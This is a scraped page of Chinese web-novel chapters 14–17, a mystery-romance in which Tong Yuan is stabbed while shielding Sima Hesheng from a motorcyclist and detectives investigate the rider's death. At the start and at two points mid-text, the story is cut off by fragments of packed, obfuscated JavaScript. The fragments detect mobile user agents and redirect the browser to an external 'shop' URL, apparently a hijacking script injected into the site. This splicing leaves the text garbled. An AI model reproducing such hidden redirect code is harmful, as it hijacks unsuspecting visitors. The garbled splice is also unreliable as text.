l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819583|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘟嘟的提示音,随后,两侧的车门缓缓关闭,与此同时,童鸢这条咸鱼突然有了活力,想泥鳅一样,从车门的夹缝中遛了出去,不带一丝剐蹭。 车门没有检测到异物,瞬间关上。才反应过来的男人来不及下车,被挡在车门的另一侧,像螃蟹一样,横着消失在了视野中。 列车出站,童鸢松了口气。 这一趟已经是末班车。走路回家是不切实际的,万一那男人找回来,夜深人静,难免吃亏。童鸢紧了紧握着书包的手,走向了出口。 从出口出来,左拐,走了大约五十米,侦查局的大门出现在面前,亮堂堂的。 她不是来找邝斯年的,她只是来找个值班中的探员,看看有没有人可以送她一程。应该会有愿意帮忙的探员吧,毕竟是为民服务。而她手里还有录像和照片,应该能证明些什么,免得对方以为自己是没钱打的才找这么一个大借口。 童鸢没试过这种求助方式,犹豫着从门外探头,往大堂看去。 出乎意料地,和邝某人来了个四目相对。 邝斯年:“……” 童鸢:“……” 邝斯年正在和陈莉商量着什么,眼中带着错愕,在童鸢看来,就像是半夜撞见鬼魂。 现在往后缩,倒显得自己怂。既然来都来了,童鸢干脆往前跨出一步,却见邝斯年将手中的文件夹往陈莉手上一塞,人已经握上了门把,将玻璃门推开。 “怎么来了?” 迎面而来的风有些暖,童鸢的鼻尖痒痒的。 “我……我刚下班。”童鸢擦了擦鼻头。 “啊……这么晚,要进来吗?” “呃……” 本来要用来求助的视频和照片忽然变得烫手,原本已经打好的腹稿被咽回了肚子里。童鸢一时找不到别的由头,脑中灵光一闪,便问:“金诺贤回去了吗?” 邝斯年脸色一变:“你如果是特意来问这个的话,我只能说,案件尚未侦破,无可奉告。” 说完,也不待童鸢反应,转身就带着陈莉要走,回办公室。 童鸢没想到他的脸色说变就变,急忙伸手拉住他:“别走。” 陈莉眼观鼻鼻观心,抱着文件夹就跑了,独独留下邝斯年和门内站岗的值班伙计。伙计借口吹风,也到门外去了。 邝斯年低头看她,十分庄严且恳切:“还是那句,无可奉告。” “我……” 就算今天遇到的不是邝斯年,童鸢来报案终究是会留下记录,肯定是瞒不过去的。她干脆一咬牙,将被跟踪的事一五一十说了。 听罢,邝斯年本就被太阳晒黑的脸更黑了,几乎要和夜晚融为一体。 童鸢以为他又要数落自己,不曾想他咬咬牙,竟没像往常那样骂她,也没再劝她搬家,只把照片和录像复制了过去,说:“你先在这里坐着,等我。我把剩下的事情处理了就送你回去,应该不会太久。阿阳!” 阿阳在门外应了一声。 邝斯年:“帮童女士做个笔录。” “好嘞。” 等一切都完成,童鸢到自动贩卖机买了热奶茶,也不喝,只抱在手里暖着,坐在大厅的长椅上等。这让她想起从前生病去医院,大多时候也是这样——邝斯年和童伯成忙前忙后,自己则和桃乐丝挨在一起等待。 不知不觉,她睡了过去。 朦胧之中,房门打开,邝斯年和安小贝出现在走廊尽头,身后跟着金诺贤、肖月娥,还有司马荷生。 司马荷生对童鸢眨眼微笑。 哐啷一声,奶茶掉在了地上。 15. 茶匙 015 奶茶没喝,人也睡懵了。 昨夜的失落就像是一阵阵痛,在见到司马荷生的一瞬间全然消失,没留下半点痕迹。 童鸢以为她们早就走了,没想到还能在这里见到她,登时愣在原地,一时不知该如何是好。 “确定手续都已经办妥了?我们以后都不用再来了吧。”肖月娥语带压迫,却不是对童鸢说的,而是瞄准了表面看上去最好说话的安小贝。 “如果有需要协助调查的地方,我们还会联系你和令郎。另外,这期间有出入境限制,还请你体谅我们的工作。”安小贝虽是笑着,语气中却带着不容置喙的强硬。 肖月娥扯起嘴角,似乎想笑,却因为难以掩饰的怒气而显得有些滑稽。她一把拽住过金诺贤的小臂,往门外走去。 金诺贤定定看了童鸢许久,一直没有说话,只嘴角噙着一抹苦笑。 司机将车停到侦查局门口。步履匆匆的肖月娥这才想起司马荷生,回头来问:“六婶,你要跟我的车回去吗?” 六婶是小辈对司马荷生的称呼。这称呼讲得多了,金家人便都叫她六婶,管金少立叫六叔。 司马荷生这一趟不仅要处理金诺贤的事,还要就金少立坠海事件和周智健杀妻案接受相关询问,此时给各种授权文件签好名,抬头看她,说:“我有事要回城南家一趟,今晚就不回山海湾了。” 山海湾是裴岛近几十年新火起来的富人区,金氏家族的别墅群就建在山海湾里。 肖月娥:“那你车停哪?你说你怎么不请个司机?又不是请不起。” 司马荷生大概是不喜请司机,又是刚从机场回来,没有开车,摆摆手,说:“反正这里是市中心,打车也容易。” “行,随你便。” 说完,肖月娥带着金诺贤和律师扬长而去。门口独独留下司马荷生和童鸢。 自始至终,肖月娥都没再跟童鸢说一句话,这让她越发肯定这位五嫂有古怪。 “童女士,你到门口等我,我去车库拿车,”邝斯年走到她们身旁,说,“司马夫人,你要是不介意的话,我顺路送你回去吧。” 司马荷生:“顺路吗?那怎么好意思?” “我刚好要送童女士回去,都是城南,顺路而已。童女士应该不介意吧?” 顺着邝斯年的话,司马荷生的视线再次转到了童鸢身上。 童鸢稍一愣神,又是点头又是摇头:“是……不、不介意。” 对于邝探员的提议,司马荷生并未表现出任何抵触,神色如常,只说:“那就麻烦两位了。” 侦查局的地下停车场属于内部人员专用,外人不得随意进出。童鸢便和司马荷生出门,往停车场出入口方向走,免得邝斯年还要在这单行道内绕圈打转。 童鸢一直低着头,看两人的脚尖并排着,踢踏着尚未干掉的浅浅一片雨水,缓缓走下门前的大理石台阶。 童鸢觉得自己该主动说些什么,又害怕自己过于自来熟,给对方留下不好的印象。思来想去,倒是司马荷生先开的口。 “你是阿贤的同事?” “啊……”童鸢急忙唤醒快要停摆的大脑,说,“应该算是吧。前同事?” “昨晚的事情发生时,你也在现场,对吗?我记得你。” 她说她记得自己。童鸢拽紧了藏在大衣口袋里的手。 “你也住樱桃公寓吗?”司马荷生问,“为什么要住那里?” “宿舍抽签没抽到,刚好看到传单,就租那了。” “那真是巧了。我听说,年会那晚,你还去过我老公的房间。” 童鸢不觉放缓了脚步,看向司马荷生。司马荷生的侧脸生得好看,嘴唇微微一动便像是溢满了笑意。童鸢一时摸不准她到底想问什么,便说:“嗯,刚好随节目组上船,临时当的主持人,出于工作要求,找金董对过流程。” 司马荷生轻笑:“他这人应该不好相处吧。” 童鸢也撑起笑容:“还算顺利,十分钟左右就完成了,可能是金董大发慈悲放过了我这只职场菜鸟。” 话里话外,全是极力避嫌。 司马荷生稍稍扭头,笑着看她,半晌,缓缓吐出三个字:“那就好。” 童鸢心头莫名苦涩,后腰被摸过的地方再次热辣辣地疼。 司马荷生果然认不出自己,还对她起了疑心。至于金少立,那就更不想提了,前一秒还在对她毛手毛脚,后一秒就被她的胎记吓傻了,将她轰出了房间。 童鸢低下了头,突然想哭。 这是来到裴岛后的头一回,她想逃回哈兰。可她知道,自己这么想是不对的。凶手害死了桃乐丝和童伯成,即使不要这亲生父母,她也要把幕后之人揪出来。 她眨眨眼,将刚到眼眶的泪水逼了回去,再次抬头间,脸上已是笑意盈盈,说:“司马夫人,其实我一直很崇拜你。我甚至还往司马伯爵的市场部投过简历。” 司马伯爵是一家服装公司,由司马荷生的父亲司马奕轩在年轻时创立。据相关采访称,金少立刚偷渡到裴岛时,以摆摊卖碗仔翅为生,后来才开了叹世界酒楼。虽说是酒楼,规模其实只有芝麻大小,但好歹有了固定店面。 2002年,呼吸道疾病暴发,叹世界酒楼经营不下去,还欠下了债务。为了还债,经由当时在司马伯爵担任销售的肖月娥引荐,金少立在司马伯爵打起了零工,由此认识了刚留学回来的司马荷生。 两人的感情迅速升温,很快便在2003年结了婚。三年后,也就是2006年元旦,在司马伯爵出资40%的情况下,金少立重开叹世界酒楼。 2007年,司马奕轩死于交通意外,司马荷生正式接管司马伯爵并获得了其父在叹世界的全部股份。此后,叹世界酒楼的生意越做越大,开始涉猎其他领域。在经历了多次增资扩产和内部架构调整后,司马荷生在集团内的股份和话语权被不断稀释,只保留了董事会席位,不再担任要职,从此专心经营司马伯爵。 司马荷生为人低调,接受的访问内容仅限于公司和慈善范畴,从不透露个人私生活。 在外界看来,她和金少立一直都是恩爱美满的丁克夫妻。而她更是以佛性、神秘、独立、慈爱出名。对于司马伯爵的经营,总传言她极少过问。 听到童鸢的话,司马荷生的眼眸中闪过些许诧异。 “我……”她歪头思考片刻,说,“我其实不参与非关键岗位的面试或者简历筛选,所以……很抱歉,我可能没什么印象。” 她当然不可能有印象,因为童鸢根本没往司马伯爵投过简历。 司马伯爵今年还没有开始招募。 “那是正常。我只是觉得能拥有属于自己事业的女性十分了不起,我由衷地敬佩和向往这份能力与独立精神。” 童鸢敬佩司马荷生是真的,故意说这话来讨她欢心也是真的。 而这话也确实凑效,司马荷生的笑容里不再只有客套和疏离,而是多了几分喜悦和不好意思。 她说:“我只是个富二代。” 童鸢:“那也很了不起呀。上一辈的积累固然有所加持,但你在市场开拓和品牌形象上的付出也是有目共睹的。” 司马荷生的嘴角微微上翘,略带欣喜地看了她一眼:“你嘴真甜,难怪阿贤会替你说话。” 童鸢直接忽略后半句,说:“我还可以再多说点。” 她顺势靠过去几分,差点就能碰上司马荷生的肩膀。 司马荷生也不躲,两人的影子分分合合,偶尔肩膀碰着手臂。自来熟似乎没有把司马荷生吓跑,相反,还稍稍拉近了两人之间的距离——至少,在童鸢看来是这样——果然,夸夸全球通用。 她微微侧头,仰脸看着司马荷生,将夸夸气场散发到淋漓尽致。 风将司马荷生的长发吹起。她抬手撩起发丝,夹在耳后,嗔怪:“行了,等你现在的工作结束了,我把你推荐给人事看看。” “真的?” “嗯,但我只负责递简历,至于过不过,还得看你自己的本事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827765|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司马荷生说得谦虚,留有余地,可谁不知道老板递过来的简历分量?出于人情世故,高低得见一面吧,条件得谈一谈吧,这半个offer不就来了吗?即使最后在金家没有收获,她保底还能有个留岛的机会,只要有机会,有收入,她就可以继续查。 “我一定会努力的!” 童鸢极力睁着亮晶晶的大眼,表忠心。 司马荷生看着她的眼,又笑了。这次,她抬手刮了刮童鸢的鼻尖,说:“努力之前先照顾好自己吧。都冻红了。” 眼波流转间,童鸢僵在了原地,怔怔地看着对方。 她的脸有些烫,一直藏在心尖上的某个字眼差点蹦了出来。 司马荷生将童鸢的反应看在眼里,侧头一笑。手指收回,放到了颈间的围巾上,说:“你男朋友也是,怎么取个车取这么久,把小姑娘都冻坏了。” 颈间的围巾松开,从司马荷生的脖颈转移到了童鸢的肩头。 童鸢无暇计较什么男友不男友,都滚一边去,满心满脑只有欢呼:这是我妈的围巾!我妈的!围巾!暖洋洋的!围巾! 出于礼貌,童鸢淡定地说:“谢谢你。洗好之后,我会还给你的。” “不用,”司马荷生替她整理出好看的形状,说,“就当是送给小粉丝的见面礼。” “……” 童鸢低下头,把鼻尖缩进围巾里。 就在这时,身后传来轻微的发动机的声音,她以为是邝斯年的车来了,不由抱怨,来得真不是时候。 可当她回过头时,所看见的是两盏叫人眩晕的亮白车头灯。 车头灯的光晕叫她短暂地失去了视力,但一闪而过的画面还是叫她发现了蹊跷。 那不是邝斯年的小黑车,而是一台摩托。摩托正在人行道上急速前行,径直往她们的方向撞过来。等她发现时,车与人之间的距离已不足十米。 她的脑子一片空白,视野也是一片茫然。 来不及提醒,她就着方才戴围巾的姿势,摸到了司马荷生的双臂,随后一个飞扑,将她扑倒。 她紧紧抱着司马荷生,顺着惯性在地上翻滚,直到后背撞上一旁的建筑。建筑边上立着一堆铁马,一层又叠着一层,与人等身高,并未捆绑固定。此时被撞得稀里哗啦,二层的铁马最先坍塌,尽数砸在了童鸢的后背和左臂上。 司马荷生一声尖叫,童鸢却没有出声,透过铁马之间的缝隙,扭头看向方才站立的地方。 她眯起双眼,强忍着眼球传来的酸痛,将摩托的车牌和车型特征记下。 摩托并未逗留,像是装了静音键的鬼魂,轻盈地拐过弯去,消失得无影无踪。 “你没事吧,”童鸢问司马荷生,“有没有伤到?” 稀疏的灯光下,司马荷生的双眼里闪着亮光。她定定地看着童鸢:“我没事。” “那就好。” 童鸢松了口气。 人一旦放松下来,过去强忍着的疲惫和伤痛便会突然彰显。左臂和后背很疼,大概是被铁马砸肿了。右脚也很疼,想动也动不了,很可能是脱臼了。腰上凉凉的,童鸢想要摸摸是怎么回事,忽觉一阵温暖,司马荷生的手已经盖了上去。她说:“别动,流血了。” 又是一阵发动机的声音,童鸢浑身一抖,扭头看去。 万幸,是邝斯年。 司马荷生也发现了邝斯年,大喊:“邝探员,我们在这里!” 车门打开,邝斯年先是不确定地走下车,只一怔愣便冲了过来:“阿鸢!” 在他身后,还有刚下班路过的安小贝和陈莉。 这下安全了。 童鸢身子一软,跌倒在司马荷生身上。 她又觉得冷了,用鼻尖去找刚得到的围巾,找到的却是更浓烈的沉香香气,很舒服的味道。 朦胧中,她听到司马荷生在低喃:“阿鸢,别睡,我们去医院。” 这低喃声中似乎带着哭腔,童鸢听不真切,只想:真好,她叫我阿鸢。 16. 茶匙 016 很长一段时间,童鸢的意识都漂浮在虚空里。 烟花,河岸,摩天轮。 眼前的一切是模糊的,独独掌心的触感,透过粗糙的茧,鲜活如初。 大人在争吵,她的手被松开。 她哭着,闹着。影影绰绰的人儿啊,充耳不闻,视而不见,将她留在原地,于黑暗中孑然一人。 彼时的她两岁,短短的胖手往面前的虚空抓了抓,什么都没抓到。 她不死心,无数次挣扎后,终于够到了某个人的手。 那一刻,她听到了医用监护仪传来的心跳声。 谁的? 她睁开了眼。 噢,是自己的。 她不自觉地动了动手指,惊醒了一旁的司马荷生。 她怎么会在这?童鸢一时想不起来。直到医生和护士进来给她检查,掀开的衣摆下露出一道深长的刀伤,被麻药打掉的记忆才终于苏醒。 和记忆一同苏醒的,还有她的痛觉。 那刀伤也不知道缝了多少针,又红又肿,像一条百足蜈蚣死死扒拉在腰间,从侧腰一直延伸到后腰的胎记边上。 她不想让司马荷生看到自己的狼狈样,死死咬牙忍着。殊不知,声音能忍,眼神却骗不了人。医生和护士走后,司马荷生摸着她被铁马砸肿了的额头,问她:“疼不疼?” “不疼。”童鸢瞪圆双眼,企图用炯炯有神来证明自己好得很。 结果司马荷生双眉一皱,站起身:“你看你,疼得都哭了。我去给你要点止疼药。” “不,我没哭。” 可人已经走了。 司马荷生前脚刚走,邝斯年就进来了,他的衣服染红了一片,藏在夹克底下,仔细一看还挺吓人。 童鸢看着他通红的眼,说:“对不起,连累你通宵了。” “说什么呢。”邝斯年叹了口气,拿出从楼下买来的豆浆和肠粉,放在床头柜上,坐到她身旁,问她,“感觉怎么样?很疼吧?” “嗯,是挺疼的。”童鸢边说着边东张西望,随后略一迟疑,还是朝邝斯年摊开了手掌,“我的手机呢?在你那吗?你给我,让我看看我现在是个什么样?” “别看了,反正也就那个蠢样。” “给我!”童鸢一把扯住邝斯年的衣摆,不料牵扯到伤口,顿时疼得龇牙咧嘴。 “……你真的……蠢死了。”邝斯年从衣服内袋中拿出手机,交到她手上。 手机没摔坏,但膜应该是换过了,手感变得不一样。童鸢即刻打开前置摄像头,刚一看到镜头前的自己,便把手机扔了:“啊,我的形象……” “司马荷生又没说什么。” “哪个有脑子的会说啊。” “你现在的形象已经很不错了。刚上救护车那会儿,你鼻青脸肿,整个背都是红的,脚还因为脱臼歪在一边,伤口滋滋滋地往外冒血,衣服上全是血污,还有脏兮兮的水渍和泥巴,头发沾着血块,蓬头垢脸,像个贞子一样。你再看看你现在,起码像个正常人了。” 童鸢扯了扯嘴角:“你一定觉得你这样安慰人十分高明。” “我只是在说事实。你看,司马荷生也没把你直接丢下车不是。”邝斯年拆开塑料袋,将豆浆吸管插好,放到她鼻子底下,说,“吃点东西吧。万幸没伤到根本,只是缝了针,输了点血,还能吃吃喝喝。” 好像很有道理。 童鸢:“……有玉米肠吗?” “嗯,里头加了鸡蛋。来,都给你绞成块了,吃吧。哦,还有酱油。”邝斯年给她那份肠粉撒上芝麻和酱油,重又递给她。 肠粉软软的,浸了酱油后散发出独特的香味,入口即化,童鸢满意地喝了几口豆浆:“对了,那个骑摩托的抓到了吗?” “……你有没有什么头绪?” “我……你问我?查案不是你分内事吗,邝探员?” “我以为你推理病又犯了,时刻准备着替我分担工作。”邝斯年见她的饭盒快要见底,将自己的瘦肉肠也分了些给她,说,“你就安心养伤吧,我们自然会查。” “不过我有种感觉,”童鸢将刚到手的瘦肉肠也嗦掉,说,“那辆摩托车不是冲我来的。” 邝斯年埋头喝粥:“为什么这么说?” “方向不对。虽说当时我们俩走得近,但车头的方向确实是朝着司马荷生那边去的。” 邝斯年没有说话,只呼噜噜地把粥喝得更响。 司马荷生回来,果真拿来了止痛药。她将医嘱转述给童鸢,又说:“医生说还要留院观察一天。很抱歉,我公司还有点事,不能陪着你。我给你安排了护工,有什么事情,你找护工就可以了。” 童鸢有些错愕,不仅因为她做事周到,还因为这一番话怎么听都像是家属嘱托。 “没关系,你去忙,”童鸢说,“我可以照顾好自己。” 司马荷生:“可你出院之后怎么办呢?你现在是自己一个人住吧?” 童鸢:“没问题……” 邝斯年打断了她的话:“她去我家。” 这是上次见面时商量的事,童鸢还没答应,此时被他提起,已经是肯定句,不由瞪大了双眼。 “哎哟哟,”不明实情的司马荷生看热闹似的捂着嘴,“是我唐突了。有男朋友照顾自然是最好的。” “他不是我男朋友。”童鸢急忙澄清。 “不是吗?”司马荷生看了眼邝斯年的脸色。 邝斯年沉默半晌,说:“……确实不是。” 司马荷生:“那确实有些难办呢……” 童鸢:“我完全可以自己照顾自己。” 司马荷生:“那可不行哦。你毕竟救了我,要是还放任你自己一个人在这种情况下独居,我会过意不去的。反正我老是出差,山海湾的房子空着也是空着,不如这段时间你就搬过来吧。家里有阿姨,总比你一个人住方便。你要是觉得过意不去,就当是给我看家好了。就怕你舍不得樱桃公寓的家。” 童鸢双眼一亮:“真的?可以吗?” 司马荷生:“可以啊。” 邝斯年:“不可以。” 童鸢和司马荷生齐刷刷看向邝斯年:“为什么?” 邝斯年咬牙:“你……你们……你们很熟吗?” 司马荷生垂下眼眸:“嗯……这么说来,确实是我考虑不周了。” 童鸢:“啊……” 童鸢做梦都想打入山海湾金家内部,这可是个绝好的机会,怎么能因为邝斯年一句“不熟”就飞了呢?可她该说些什么来挽回局面? 司马荷生又说:“不如这样,我留下电话号码,童童你有什么需要,随时联系我。” 梯子递过来了,童鸢急忙爬上去,说:“好。” 司马荷生:“那我先走了。” 司马荷生一走,童鸢拽住邝斯年:“你怎么回事?这可是个好机会。你就算是不想帮我,难道还不想破案吗?” “我多的是办法破案,用不着你往老虎窝里钻。” “我就是要去。” “你要是担心人身安全,我可以给你申请保护。你要是想调查幕后凶手,我可以帮你查。你受伤了需要人照顾,我也可以照顾你。” “你能照顾我多久?”童鸢定定地望着邝斯年,“哥,我长大了,我可以自己处理,我有这个能力。” “有能力差点死在路上?” 邝斯年对上童鸢的视线,赌气一般不挪开。他深呼吸,努力让自己平静下来,将童鸢的手拽入掌心,说:“现在不是争吵的时候,我们缓一缓,等你的伤好干净了,我们再讨论。” “不行,”童鸢的语气也缓了下来,说,“我明年就要毕业,我能留在裴岛的时间不多了。万一我找不到工作,一年后我就必须回哈兰。我来不及了。司马荷生她答应给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837345|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推简历,也给了我去金家的机会,我不能就这样放过,哥。” 邝斯年:“我明白你对亲生父母的渴望,但桃乐丝和童伯成也是你的家人。” 童鸢:“我知道的,我都知道,哥……” 邝斯年松开她的手:“我明天再来接你出院,你先好好休息。” “哥……斯年哥哥……邝斯年。邝斯年你个狗熊!” 邝斯年没有停下脚步,在被枕头砸中之前,离开了。 童鸢的胸口剧烈起伏,又扯痛了伤口。 床头柜传来电话铃声,是副导。 差点忘了,厨力觉醒还没录完。她急忙拿过来接听,副导的声音中带着试探和讨好:“喂,是童童吗?司马夫人跟我说了……没关系,你先好好休息……反正这周的素材都已经拍完了,今天组里还都在接受侦查局询问呢,停个一两天没关系的……嗯嗯,我们等你回来哦。” 不用猜,导演应该已经崩溃过了。当相似的事情发生第三回,他大概也是认命了吧,摆烂了吧。 但这种事能怪童鸢吗?显然不能。 童鸢把气生完了,请假也算是交代了,身体一软,又睡了过去。 “老大,别睡了。” 侦查一科的办公室里,除了刘毅,几乎都睡得七仰八叉。 邝斯年已经换过衣服,人一沾到沙发就睡着了。在刘毅温柔且不断重复的叫醒服务下,他才好不容易地睁开双眼。一同醒来的,还有陈莉和安小贝。 “鉴证科的报告出来了。”刘毅将文件放在圆桌上,招呼大家过来看,说,“基本可以确定,今日凌晨的行凶者就是这位叹世界的员工。” 邝斯年看着现场的照片,陷入了沉思。 他对童鸢隐瞒了事实,她口中的那个骑摩托的已经被找到了。找到他的人是陈莉。 陈莉喜欢摩托,高头大马的那种。事发时,司马荷生虽然神色慌张,却思路清晰,三言两语便交代了事情经过和摩托逃跑的方向。 趁着对方尚未走远,陈莉再次跨上她的摩托,往对方消失的方向追击而去。与此同时,她拔出对讲,请求铁骑支援,留意侦查局附近街道形迹可疑的摩托车辆。 不多时,她听到了隔壁街区传来的停车警告。停车警告声音特殊,是执勤中的铁骑发出的,专门针对危险驾驶等违章情况。显然,警告对象不是她。陈莉一个拐弯,往警告声的来处追去,不多时便与铁骑汇合。 终于看见了肇事车辆的号码,和司马荷生所说的一字不差。 铁骑已经追了那人三条街,可那人不仅没有减速的意思,还越开越快,再平和的脾气也被引爆。铁骑女警举起对讲,要求前面的摩托马上停车。 就在这时,摩托车身一摇,摔在了地上。□□夹着钢铁,在宽阔的十字路口,划出了一个巨大的半圆,溅起火花。 陈莉和铁骑急忙减速刹车,避免造成连环相撞。 可此时恰逢绿灯,一辆赶夜路的大货车呼啸而过,并未留意到停车警告,径直朝地上的摩托碾了过去。大货车一个急刹,停在了路中央,可为时已晚。 司机惊惶失措地下了车,看着地上的人惊叫:“不……不是……这明明是绿灯啊!绿灯啊!美女,你有看见的吧,这明明是绿灯啊!” 陈莉和女警示意他冷静下来,呼叫救护车并即刻进行急救。陈莉将手探至其脖颈动脉处,那里已经停止了跳动。 冰冷潮湿的路面上,纸箱和塑料袋散落一地,零零散散地趴着蔬菜、瓜果、肉类还有生活用品。 其中有一把剔骨刀。破损的外包装上,利刃闪着寒光,沾满了鲜血。 陈莉翻过他红黄相间的冲锋衣,在口袋里找到了他的工作证。 哔的一声,陈莉循声望去,发现了不远处的手机。 “你的订单已超时。” 人工智能合成的女声,温柔地回荡在城市的夜空上。 17. 茶匙 017 “死者黎耀强,三十八岁,叹世界配送的外包员工。三个月前失业,为了糊口,转做配送外包。案发时他正在进行一单价值五百元的生鲜配送,所配送的物品中包含一把剔骨刀。另外,在案发的十字路口还发现了大量商品,清点后发现,商品和系统上的订单内容都能够对上。” 刘毅拿起自己的小本,汇报调查结果。 他精神尚可,不仅因为他本身就精力旺盛,还因车祸发生时,他正和一科的其他同事轮流观察冯美宝和金诺贤的动向。如今又有新案发生,他才被临时叫了回来,参与调查。没想到主力们在连续熬了两个通宵后都倒下了,他摇身一变成了新的主力。 邝斯年问刘毅:“刀具也是订单内容之一?” “没错。鉴定报告显示,剔骨刀上的血和童鸢的相吻合,可以确定为凶器。不过,刀身和刀柄并未发现黎耀强的指纹,很可能是因为他当时戴着防风手套。” 刘毅说着,打开电脑。电视上旋即出现了沿街的监控画面。 “可以看到,黎耀强在两点四十五分的时候离开了叹世界配送位于郊外新口岸的货仓。当时,他的车尾载着一个大箱,前后左右又挂了六个大塑料袋,一路飙车,往目的地福裕天禧赶去。十八分钟后,他来到了侦查局附近,停了下来。从动作上看,他似乎吃了什么,然后拿出了剔骨刀。” 刘毅撕开一根能量棒,将画面聚焦到黎耀强身上,继续说:“老大,你看这里,他其实没有完全打开那把刀,而是只拆了刀身的外包装。他压下衣领,似乎想要抹脖子,但他看了一眼手机,动作又停了,然后重新发动引擎,一手拿刀,一手开车,还抄了近道。期间,他遇到了违停车,被迫减慢速度,可能是赶时间,后来就干脆骑上了本该空无一人的人行道,紧接着就撞上了童鸢和司马荷生。” 慢速播放的录像里,车头果真如童鸢所说,是对准了司马荷生的。而最先发现这一点的童鸢,不仅推开了司马荷生,还紧紧护住了她。可远光灯影响了她的视力,她眉头紧锁,只顾得上保护身边的人,护不住自己,以至于黎耀强挥刀砍下的瞬间,她意外用腰接住了这一刀。 始作俑者扬长而去,邝斯年、陈莉和安小贝看着满地鲜血,沉默了。 刘毅:“要……要继续往下吗?” 邝斯年:“继续。” 刘毅:“黎耀强驾驶摩托一路跑,后面的事情你们都知道了。法医那边推断,黎耀强是在逃逸过程中因突发心脏梗死倒地。当时若能马上进行心肺复苏和AED除颤也许还有救,可惜,大货车来了。” 邝斯年:“所以,大货车碾压才是最后的致命一击。” 刘毅:“没错,报告上是这么说的。” 陈莉:“按照这个说法,他的死就是意外。可他为什么要砍司马荷生?而且他怎么知道司马荷生当时就在那里?” “也许是无差别报复?谁挡道就砍谁,”刘毅说,“他拆剔骨刀的时候看上去很崩溃。” 安小贝:“那时候已经凌晨快三点,大脑可能最先扛不住,失控了。” 陈莉:“那他打算自杀的时候看到了什么?是有人给他报告司马荷生的位置?” 刘毅:“信息科还原了他手机上的数据,并未找到这方面的内容,但配送app在那个时间点里给他发了一段语音提示,意思是,要是超时了,会扣钱。而他距离超时只剩十分钟。” 安小贝:“哇……这也太苛刻了吧……还是凌晨三点诶。” 刘毅:“这是叹世界配送的升级服务,只要充钱升级为SVIP就能享受,包括二十四小时全天候服务,三十分钟内同城必达等。但叹世界的配送仓是固定的,距离不变的情况下,只能对配送员的硬件要求也从电动车升级为了动力更足的摩托。线上交易记录显示,事发时所使用的摩托是黎耀强向叹世界配送的直营店分期付款购入的。” 陈莉:“这情节听着有点耳熟,这算是历史的轮回吗……” 安小贝:“于是就决定把刀拆了,报复社会?然后碰巧就遇上了司马荷生?” 陈莉叹了口气,歪头想了想,又说:“可这会不会太巧了?我的意思是,如果将金少立坠海案、周智健杀妻案、段书艺坠楼案全部放到一起,每一件都和叹世界有关。可你要想把它们串起来吧……” 安小贝:“总感觉少了点什么。” 刘毅:“没错。金少立和海秀仪,已经可以确定是周智健所为,随时可以结案。而段书艺坠楼,又极有可能是她自己跳下去的。而我们所找到的中间人,冯美宝,或者范围更广一点,包括金诺贤、金老二,也就是金恒立曾秀芬夫妻,顶多也就是有关系而已,并没有直接证据表明他们参与了这些案件。” “不,其实还有一个人,”陈莉打开了自己的笔记本,指着一个三足金乌的纹身,说,“给力消的监事刕康耀,这是他独有的纹身,出现在了段书艺房间的那些照片里。也许,他知道点什么。” 邝斯年:“可你准备怎么盘他?” 陈莉:“所以我还没动啊……” 刘毅:“为什么没动?” 安小贝:“那张照片意外拍到了时间。从时间推断,当时的段书艺可能还未成年。” 刘毅:“噢……那他肯定不会轻易交代……” 邝斯年:“不是还有一只表吗?那名何姓富商到底是谁,也许可以从这里看看有没有突破口。” 陈莉:“好,我尽快查。” 安小贝:“另外,会心银行有答复了。段书艺没有保险柜,只是每隔一段时间就会往银行存一大笔活期现金。有时候多一点,有时候少一点,没有定量。而每次刚存进去,很快就会被划走,用来还信用卡。当然,也有一大部分流入了医院,来供她奶奶医疗开销。而在坠楼之前,段书艺特意给医院提前预留了一大笔治疗费……” 陈莉:“就好像她知道自己要死了一样。” 刘毅:“所以,很可能真的是自杀。” 此言一出,办公室里的空气再次凝固。 刘毅搭上陈莉和安小贝的肩膀,叹气:“你们要是遇到什么烦心事,欢迎随时来找本帅哥,别憋着,知道不?” 两人毫不客气地拍开他的手:“滚。” “所以我们现在的调查重点就回归到这里,”邝斯年在白板上画了个圈,“冯美宝,金诺贤,还有段书艺照片上的那群人。也许,还能再探探黎耀强的人际关系。对了,法医有没有在黎耀强身上检测出来什么?” 刘毅摇头:“这倒是没说。” 邝斯年:“你跟一下。我很在意他在拿刀之前吃下的是什么。” 刘毅:“行,那黎耀强就分给我了呗。” 邝斯年:“陈莉,你继续跟段书艺。冯美宝交给你,小贝。我去跟金诺贤。剩下的人,各自找好搭档,做好轮班,定点蹲守。这些事情的背后一定还藏着什么,我们要赶在期满前找出来。” 除了查案,邝斯年日常还有不少文书工作。这段时间案子一件接着一件,文书工作被落下了不少,有一些还马上就要到期。等文件都完成提交,从侦查局出来已经是下午四点。 他准备去一趟金诺贤常去的几家餐馆,打开手机时,却不知为何点开了童鸢的聊天界面。 